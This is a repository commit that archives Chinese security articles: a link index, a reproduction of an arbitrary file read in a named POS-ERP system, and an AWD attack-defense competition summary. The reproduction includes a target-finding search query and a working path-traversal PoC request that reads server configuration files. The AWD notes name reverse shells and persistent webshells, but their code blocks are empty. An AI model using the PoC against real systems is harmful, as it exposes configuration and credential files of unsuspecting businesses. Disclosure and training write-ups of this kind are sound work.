2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp、关于AWD的小结、「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞、

This commit is contained in:
test committed 2024-12-22 16:10:56 +00:00
1 parent 39f604c643
commit 0946128ccb
4 files changed
+2206 -1

No files matched your search

+4 -1
View File
@@ -1913,5 +1913,8 @@
"https://mp.weixin.qq.com/s?__biz=MzkyODY3NjkyNQ==&mid=2247484401&idx=1&sn=71dcfb268f5852a19c75d24153bb827e": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)",
"https://mp.weixin.qq.com/s?__biz=MzkyODcwOTA4NA==&mid=2247487524&idx=1&sn=0ba60c7c544d38db55c6cc9723985528": "【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)",
"https://mp.weixin.qq.com/s?__biz=MzUxMTk4OTA1NQ==&mid=2247484851&idx=1&sn=52c5df6c1e8f7e240e5d705a9adb8fbc": "【漏洞复现】CVE-2024-50623",
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限"
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066819&idx=2&sn=d36a351bfabba8d719c29fa871c22b3c": "【安全圈】FortiWLM 曝关键漏洞,攻击者可获得管理员权限",
"https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494604&idx=1&sn=e708788215b2043d657d20c4aab45fde": "2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp",
"https://mp.weixin.qq.com/s?__biz=MzAwNTc5MTMyNg==&mid=2247500072&idx=1&sn=2b761dedd7c1caedbe68c644c1292ec6": "关于AWD的小结",
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486453&idx=1&sn=c80d52031a23f7939f932cb30817a4d7": "「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞"
}
@@ -0,0 +1,125 @@
# 「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞
冷漠安全 冷漠安全 2024-12-22 02:58
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0pFeDPJNnYaE7pYibBLQrUbLZwqelcotCqhYf0seBKfHroSUm8XuHyka5I3SmicWcJYUpZbFmxJCZ1Q/640?wx_fmt=gif&from=appmsg "")
0x01 免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
0x02
产品介绍
云连POS-ERP管理系统作为一种综合的管理软件,旨在为企业提供全面、高效的业务管理解决方案。基于云计算技术,集POS收银与ERP管理功能于一体的综合管理系统。它通过网络对企业的各类信息进行集中、统一和实时的管理,帮助企业实现销售、库存、财务等业务的全面数字化管理。系统具有用户友好的操作界面和简单直观的操作流程,使得用户可以快速上手并熟练使用。同时,系统还提供了多种数据导出方式,方便用户实时导出各类报表、销售数据、库存数据等,极大地提高了工作效率。
0x03
漏洞威胁
云连POS-ERP管理系统 download.action 存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
0x04
漏洞环境
FOFA:
 
```
title="Powered By chaosZ"
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotDxSMHhaHYJ6MfZyBJBibwF0K5OfMSibVVXIxX3X6og1CPFQ0eibBgelhw/640?wx_fmt=png&from=appmsg "")
0x05
漏洞复现
PoC
```
POST /admin/file!download.action;admin!login.action HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
downloadFile=../../WEB-INF/web.xml
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1Xlzot4CrZwwMmS2icowVibzovFPTe9z3UEliagwsiag1xiaO8ebT1LreEpTMiaAZw/640?wx_fmt=png&from=appmsg "")
0x06
批量脚本验证
Nuclei验证脚本已发布
知识星球:冷漠安全
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotmrQMxSV7ooXicTEh3jOXkwDZX47NbjZKCMyTUo6JTMHJHe6FL0xuXHQ/640?wx_fmt=png&from=appmsg "")
0x07
修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本或打补丁
0x08
加入我们
漏洞详情及批量检测POC工具请前往知识星球获取
知识星球:冷漠安全
交个朋友,限时优惠券:加入立减25
星球福利:每天更新最新漏洞POC、资料文献、内部工具等
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotqBaTg2ohJdicicw4Dniakh5Z6kr2nzZKwvOJhalGqSJW4ibcqVBugGlNAw/640?wx_fmt=png&from=appmsg "")
「星球介绍」:
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
「星球服务」:
加入星球,你会获得:
♦ 批量验证漏洞POC脚本
♦ 0day、1day分享
♦ 汇集其它付费星球资源分享
♦ 大量的红蓝对抗实战资源
♦ 优秀的内部红蓝工具及插件
♦ 综合类别优秀Wiki文库及漏洞库
♦ 提问及技术交流
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotxCMibxib4YRMb7Ym0INeZweXBorwI1A94OviacatqCOB2fpsIspd8CD8w/640?wx_fmt=gif&from=appmsg "")
+263
View File
@@ -0,0 +1,263 @@
# 关于AWD的小结
原创 cha0s Gh0xE9 2024-12-22 12:27
# 比赛规则
- 比赛:指从开始到结束的一整场比赛过程。
- 轮:指一个单独的时间区间,分数计算的最小周期,一般为 10 分钟。 一场比赛由许多轮组成,可以理解为:总轮数 = 比赛总时长 / 单轮时长
。
- 选手:指比赛的参赛队伍,通常是一个 3-5 人的团队。
- 题目:比赛的试题,对应着传统 Jeopardy 模式中的一道道题目。
- 靶机:AWD 模式中,对于每一道题目,每个选手都会有一个自己的独立靶机,上面运行着这个题目的环境。
- Check:为了检测选手的靶机服务以及功能是否能够正常运行,主办方会不定期运行 Check,(通常是一段自动请求并验证的脚本)用以检测服务可用性。检测到服务不可用,功能不全的靶机,其所属队伍将被扣分。(Check 的存在,是为了防止选手故意删站,或部署通防来使得攻击方无法对其靶机进行攻击,从而达到所谓“绝对的防御”)
- 服务宕机 / CheckDown:指选手的靶机服务不可用,或功能不全。
# 常见awd思路
(当作参考)
## 1.靶机登陆
一般来说有两种登陆方式:
- rsa公钥登陆
- 用户名/密码登陆
使用xshell的话,那存在一个选择公钥的选项,可以直接登陆。
mobaxterm似乎是还要了解一下 ssh公钥登陆的命令
### 1.1 登陆后的思路
#### 1.1.1 修改默认密码
- ssh是弱口令要记得修改密码
- 如果又权限进入mysql,也需要修改密码
#### 1.1.2 信息备份
1.tar备份
```
tar -zvxf /tmp/www.tar.gz /var/www/html/
```
scp备份
```
scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash
```
修改源码的时候,可以利用vscode远程连接
或者是利用vi
2.mysql备份
```
```
## 2.defence
**1.查询操作**
- 因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门
- 用d盾或者seay查看一下是否存在预留的一句话木马
- 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag
- 检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码)
- 查看有没有后门账户
**2.脚本部署**
- 日志监控部署(非必要:有些比赛主办方会提供流量)
- waf部署(有时候waf会被check扣分,所有要看情况。主办方有可能也有要求不能上)
- 文件监控(一般来说是需要在waf部署之后再部署)
## 3.Attack
- 抄作业(看流量、别人留的后门可以上车。一句话密码可能是md5的,或许需要网上解码一下。如果是主办方要求不能上网:但是还是一屋子的iphone、honor...你晓得吧?)
- 代码审计
- 权限维持
- 利用脚本快速得分(最好是不要一个一个flag交,非常狼狈(
## 4.详细步骤
### 4.1 目标确定
1. 主办方提供**网络拓扑和端口范围**
1. 攻击机、靶机、check 服务器
1.1 确定端口
```
```
1.2 确定其他目标(扫描c段)
```
```
1. 主办方提供端口和ip且ip是连续的
1. 直接打就完事了
### 4.2 代码审计
一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。
一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难
- 漏洞类型
1.预置后门
```
```
如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行
2.文件上传
- 直接使用白名单文件上传
3.SQL注入
- SQL注入
- 防御方式:转义 ' " 、确认页面编码和数据库编码统一(基本上过滤90%
- SQL写shell
- MySQL端口暴露
- 关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改
4.反序列化
- 加过滤,匹配语句类型或者关键字
6.xxe
- 禁止引用外部dtd
7.代码执行
- 过滤一些关键函数
8.文件遍历
- 过滤关键字
### 4.3 权限维持
#### 4.3.1 文件读取操作
我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行(
条件允许的话也可以在**一些**
php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现
```
```
#### 4.3.2 不死马
一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作
- php不死马
```
```
- Linux定时任务写马
```
```
如果被种马了,怎么防御?
- 杀进程后重启服务
- 写一个同名的文件夹
- 写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
#### 4.3.3 定时任务
- 使用定时任务发送带有flag的请求
```
```
- 使用定时任务反弹shell
- bash
```
```
- python
```
```
- php
```
```
如果因为定时任务一直失分咋办?
- 杀进程(ps -ef / px -aux)
一般/bin/sh是nc服务
```
```
如果是ctf权限的话,那只能写个马执行这个命令
#### 4.3.4 宕机
如果遇到不得不宕机的情况可以使用
```
```
### 4.4 关于脚本
#### 4.4.1.上传waf
check机制可能会check到waf过滤的参数,导致宕机(所以上床waf要慎重
```
```
可以在upload目录下写.htaccess禁止php文件执行
```
```
#### 4.4.2.主板方提供流量
可以使用wireshark
基础用法:
- 过滤IP地址
> ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包
- 过滤端口
> tcp.port eq 80 #不管端口是来源还是目的都显示80端口tcp.port == 80tcp.port eq 2722tcp.port eq 80 or udp.port eq 80tcp.dstport == 80 #只显示tcp协议的目标端口80tcp.srcport == 80 #只显示tcp协议的来源端口80udp.port eq 15000tcp.port >= 1 and tcp.port <= 80 #过滤端口范围
- 过滤MAC地址
> eth.dst == MAC地址 #过滤目标MACeth.src eq MAC地址 #过滤来源MAC3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的
- http请求方式过滤
> http.request.method == “GET”2.http.request.method == “POST”3.http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名http.host contains “http://www.baidu.com“ #contain只能写一个域名http contains “GET”
多条过滤语句执行:
```
```
#### 4.4.3.文件监控
如果靶机没有python环境,那还需要在安装一下
```
```
## 参考文章
https://www.anquanke.com/post/id/245158#h3-19
https://justloseit.top/AWD%20%E8%B5%9B%E5%89%8D%E5%87%86%E5%A4%87/
https://linux.cn/article-5685-1-rss.html
https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/#toc-heading-22
https://github.com/sharpleung/CTF-WAF
点击收藏 
| 
3
关注
 | 
4
打赏